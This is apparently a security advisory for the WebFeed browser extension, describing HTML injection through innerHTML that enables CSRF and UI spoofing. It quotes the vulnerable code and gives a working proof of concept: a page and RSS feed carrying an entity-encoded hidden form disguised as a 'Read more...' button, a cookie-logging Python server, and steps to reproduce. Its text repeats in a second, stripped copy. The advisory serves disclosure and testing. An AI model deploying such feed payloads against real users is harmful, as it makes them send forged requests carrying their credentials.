Summary
Multiple HTML injection vulnerabilities in WebFeed can lead to CSRF and UI spoofing attacks. A remote attacker can provide malicious RSS feeds and attract the victim user to visit it using WebFeed. The attacker can then inject malicious HTML into the extension page and fool the victim into sending out HTTP requests to arbitrary sites with the victim's credentials.
Details
HTML injection is possible in multiple places:
When listing the RSS feed links on a web page:
|
link.innerHTML = |
|
(feed.title || feed.url) + |
|
(types[feed.type] |
|
? ` <span style="opacity:0.6;">(${types[feed.type]})</span>` |
|
: ""); |
When reading an RSS feed: (note that utils.html2txt
is not effective if the HTML is nested deeply enough)
|
header.querySelector('h1').innerHTML = feed.title; |
|
let h1 = header.querySelector('#site-link') |
|
h1.href = feed.link; |
|
h1.innerHTML = utils.getSiteTitle(feed.link); |
|
content.querySelector("article>h2").innerHTML = entry.title; |
|
content.querySelector("article>time").innerHTML = entry.updated.toLocaleString(); |
|
|
|
let sum = content.querySelector("article>div"); |
|
sum.innerHTML = entry.summary; |
|
|
|
utils.html2txt(sum); |
When failed to show an RSS feed:
|
error.innerHTML = ` |
|
<div> |
|
<p>Error while fetching feed</p> |
|
<p style="color:red;">${e}</p> |
|
<p><pre>${e.stack}</pre></p> |
|
<p>You may go to the site to find the latest feed and unsubscribe this one.</p> |
|
<a href="${url}">${url}</a> |
|
</div> |
|
`; |
When listing the subscribed feeds:
|
$("article>h2").innerHTML = entry.title; |
|
$("article>.meta time").innerHTML = entry.updated.toLocaleString(); |
|
$("article>.meta a.link").href = entry.link; |
|
|
|
let sum = $("article>div"); |
|
sum.innerHTML = entry.summary; |
When showing fetch errors:
|
li.innerHTML = `<a href="${showUrl}" target="_blank">${url}</a>`; |
WebFeed has host_permissions
on <all_urls>
, so it can send cross-site requests with cookies:
|
"host_permissions": [ |
|
"<all_urls>" |
|
], |
PoC
index.html
:
<!DOCTYPE html>
<html>
<head>
<link rel="alternate" type="application/rss+xml" title="iframe <iframe src=https://example.com height=40 width=100></iframe> title" href="/feed.xml" />
</head>
<body>
<iframe name="form-target" style="display:none;"></iframe>
<form action="http://localhost:8080/" method="POST" target="form-target" style="position:relative;padding:0.5em 0;">
<input type="submit" value="Failed CSRF blocked by SOP" style="display:inline-block;opacity:0;padding:0;margin:0;cursor:pointer;" />
<a style="position:absolute;left:0;z-index:-1;">Failed CSRF blocked by SOP</a>
</form>
</body>
</html>
feed.xml
:
<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>Blog</title>
<item>
<title>Title</title>
<link>https://example.com/</link>
<pubDate>Sun, 29 Oct 2024 08:00:00 GMT</pubDate>
<description>Abstract
&amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;iframe name=&amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;form-target&amp;amp;amp;amp;amp;amp;amp;amp;amp;quot; style=&amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;display:none;&amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;/iframe&amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;
&amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;form action=&amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;http://localhost:8080/&amp;amp;amp;amp;amp;amp;amp;amp;amp;quot; method=&amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;POST&amp;amp;amp;amp;amp;amp;amp;amp;amp;quot; target=&amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;form-target&amp;amp;amp;amp;amp;amp;amp;amp;amp;quot; style=&amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;position:relative;padding:0.5em 0;&amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;
&amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;input type=&amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;submit&amp;amp;amp;amp;amp;amp;amp;amp;amp;quot; value=&amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;Read more...&amp;amp;amp;amp;amp;amp;amp;amp;amp;quot; style=&amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;display:inline-block;opacity:0;padding:0;margin:0;&amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;/&amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;
&amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;a style=&amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;position:absolute;left:0;z-index:-1;&amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;Read more...&amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;/a&amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;
&amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;/form&amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;
&amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;style&amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;a.link { display: none; }&amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;/style&amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;</description>
</item>
</channel>
</rss>
server.py
:
from http.server import HTTPServer, BaseHTTPRequestHandler
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
self._handle_request()
def do_POST(self):
self._handle_request()
def _handle_request(self):
print(f"{self.command} Cookie: {self.headers.get('Cookie')}")
self.send_response(200)
self.send_header('Set-Cookie', 'csrf=test; HttpOnly; SameSite=Strict')
self.end_headers()
def run_server(host='localhost', port=8080):
server = HTTPServer((host, port), RequestHandler)
print(f'Server started on http://{host}:{port}')
try:
server.serve_forever()
except KeyboardInterrupt:
server.server_close()
if __name__ == '__main__':
run_server()
- Run
python -m http.server
and python server.py
.
- Visit
http://localhost:8080
to get the cookie.
- Visit
http://localhost:8000
. Click Failed CSRF blocked by SOP
. See Cookie: None
in the output of server.py
to verify that CSRF attacks are normally blocked by SOP.
- Open WebFeed. See the injected
<iframe>
in the popup.
- Open the feed to see a seemingly harmless feed.
- Click on "Read more". Then see
Cookie: csrf=test
in the output of server.py
to verify that CSRF attack succeeded.
Impact
Users are vulnerable to CSRF attacks when visiting malicious RSS feeds via WebFeed. Unwanted actions could be executed on the user's behalf on arbitrary websites.
Summary
Multiple HTML injection vulnerabilities in WebFeed can lead to CSRF and UI spoofing attacks. A remote attacker can provide malicious RSS feeds and attract the victim user to visit it using WebFeed. The attacker can then inject malicious HTML into the extension page and fool the victim into sending out HTTP requests to arbitrary sites with the victim's credentials.
Details
HTML injection is possible in multiple places:
When listing the RSS feed links on a web page:
webfeed/js/popup.js
Lines 48 to 52 in a985d7b
When reading an RSS feed: (note that
utils.html2txt
is not effective if the HTML is nested deeply enough)webfeed/js/show.js
Lines 11 to 14 in a985d7b
webfeed/js/show.js
Lines 65 to 71 in a985d7b
When failed to show an RSS feed:
webfeed/js/show.js
Lines 120 to 128 in a985d7b
When listing the subscribed feeds:
webfeed/js/list.js
Lines 32 to 37 in a985d7b
When showing fetch errors:
webfeed/js/logs.js
Line 81 in a985d7b
WebFeed has
host_permissions
on<all_urls>
, so it can send cross-site requests with cookies:webfeed/app.json
Lines 19 to 21 in a985d7b
PoC
index.html
:feed.xml
:server.py
:python -m http.server
andpython server.py
.http://localhost:8080
to get the cookie.http://localhost:8000
. ClickFailed CSRF blocked by SOP
. SeeCookie: None
in the output ofserver.py
to verify that CSRF attacks are normally blocked by SOP.<iframe>
in the popup.Cookie: csrf=test
in the output ofserver.py
to verify that CSRF attack succeeded.Impact
Users are vulnerable to CSRF attacks when visiting malicious RSS feeds via WebFeed. Unwanted actions could be executed on the user's behalf on arbitrary websites.